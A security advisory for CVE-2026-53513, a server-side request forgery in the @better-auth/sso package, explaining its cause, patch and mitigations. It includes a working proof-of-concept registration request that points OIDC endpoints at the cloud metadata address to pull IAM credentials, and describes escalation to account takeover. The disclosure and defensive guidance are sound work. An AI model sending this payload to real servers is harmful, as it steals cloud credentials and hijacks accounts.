CVE-2026-53513: @better-auth/sso SSRF via Unvalidated OIDC Endpoints
Any authenticated user can register a fake SSO provider pointing OIDC endpoints at internal addresses, causing the auth server to fetch and reflect responses from cloud metadata services, localhost…
The problem
The POST /sso/register and POST /sso/update-provider endpoints in @better-auth/sso accepted arbitrary URLs in the oidcConfig fields (userInfoEndpoint, tokenEndpoint, jwksEndpoint, etc.) when skipDiscovery: true was set. The schema used a bare z.string() validator with no URL format check and no origin gate.
The stored URLs were later fetched server-side during the OIDC callback, and the response body was surfaced through the user profile, making this a non-blind SSRF. Any user with a valid Better Auth session could trigger it. When trustEmailVerified: true was also configured, the attacker could return a crafted userInfo body asserting a victim's email and emailVerified: true, escalating the SSRF into full account takeover via OAuth auto-link.
Proof of concept
A working proof-of-concept for CVE-2026-53513 in @better-auth/sso, with the exact payload below.
POST /api/auth/sso/register HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: better-auth.session_token=<valid_session_token>
{
"providerId": "evil-idp",
"domain": "attacker.example.com",
"skipDiscovery": true,
"oidcConfig": {
"clientId": "x",
"clientSecret": "x",
"authorizationEndpoint": "http://169.254.169.254/latest/meta-data/",
"tokenEndpoint": "http://169.254.169.254/latest/meta-data/",
"userInfoEndpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"jwksEndpoint": "http://169.254.169.254/latest/meta-data/"
}
}The root cause is missing input validation on registration (CWE-20). The discovery branch routed URLs through validateDiscoveryUrl, but the skipDiscovery: true branch wrote them directly to the database as plain strings. At callback time, betterFetch read userInfoEndpoint out of the stored provider row and fetched it unconditionally, turning the auth server into a confused deputy (CWE-441) that proxies attacker-chosen internal addresses.
The patch added a call to isPublicRoutableHost from @better-auth/core/utils/host at registration time, blocking RFC 1918 ranges, loopback, link-local (including 169.254.169.254), ULA, cloud-metadata FQDNs, multicast, and reserved ranges before any URL is persisted.
It also tightened the Zod schema from z.string() to z.url(), catching malformed URLs at parse time rather than at fetch time. Internal IdPs are preserved through an explicit trustedOrigins escape hatch.
The fix
Upgrade to @better-auth/sso@1.6.11 or later. If an immediate upgrade is not possible: set sso({ providersLimit: 0 }) to block all self-registration; or block POST /sso/register and POST /sso/update-provider at the edge. Also enforce network-level egress controls blocking RFC 1918, link-local (169.254.0.0/16), and loopback from the auth server.
If trustEmailVerified: true is set, setting it to false caps impact to SSRF only and removes the account-takeover path, but does not stop the SSRF.
Reported by Vaadata.
Related research
- high · 7.1CVE-2026-53515CVE-2026-53515: @better-auth/sso Broken Object-Level Authorization on SSO Provider Registration
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration
- high · 8.5Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)
- high · 8.5Budibase: DNS Rebinding SSRF Bypass in OpenAPI Import and REST Query Execution